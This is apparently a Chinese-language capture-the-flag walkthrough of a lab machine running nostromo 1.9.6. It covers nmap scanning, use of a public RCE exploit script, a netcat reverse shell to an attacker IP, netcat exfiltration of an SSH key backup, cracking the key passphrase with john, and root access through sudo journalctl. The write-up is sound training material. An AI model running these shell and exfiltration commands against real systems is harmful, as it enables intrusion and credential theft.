使用nmap快速扫描目标,发现对外开放了22和80,第一个问题就是问80端口运行的是什么服务,针对这两个端口扫描对应的详细信息后就能得到答案
从nmap的扫描结果可以看到,目标开启了80端口,且运行着nostromo服务,看了一圈不知道从哪里下手
通过搜索nostromo 1.9.6可以发现,该版本的服务存在rce漏洞
尝试利用该漏洞,首先使用searchsploit -m 47837.py将脚本镜像到工作目录中,然后按照usage去使用
先在kali端监听,然后执行命令nc -e /bin/bash 10.10.16.2 1234,即可得到shell
进去后随便看了看,按照题目提示的话应该找到david的ssh秘钥备份,打算上传LinEnum.sh
在浏览时,很快就发现了这个,但是提交这个路径时显示回答错误,先放着再看看别的吧
看看/var/nostromo/conf目录下还有什么文件,发现了一个nhttp.conf
发现home下还有public_www目录
试了很多次后,发现在下面的目录下有题目提示的ssh秘钥
使用nc来传输该文件到kali中,先在kaili中开启监听nc -nvlp 2222 > back.tgz,然后在www-data的shell中nc 10.10.16.2 2222 < /home/david/public_www/protected-file-area/backup-sshidentity-files.tgz
已经把该文件传输至kali,解压后查看,拥有以下几个文件,现在尝试破解秘钥密码
先使用ssh2john提取hash值,然后使用john来破解它,字典使用rockyou,最终得到密码为hunter
现在可以使用ssh登录david了,并且能拿到flag
可以看到david的目录下有一个bin文件夹
里面有一个server-stats.sh,打开查看该脚本
可以看到最后一行,脚本echo一堆东西后,在最后使用sudo执行了journalctl,尝试执行该脚本
可以看到打印出了一堆东西,在gtfobins中看到可以利用这个journalctl
Journalctl调用默认分页器,就会使用less,在屏幕输出后会等待输入,这时可以按照上图的办法拿到shell
执行以下命令,然后就没有然后了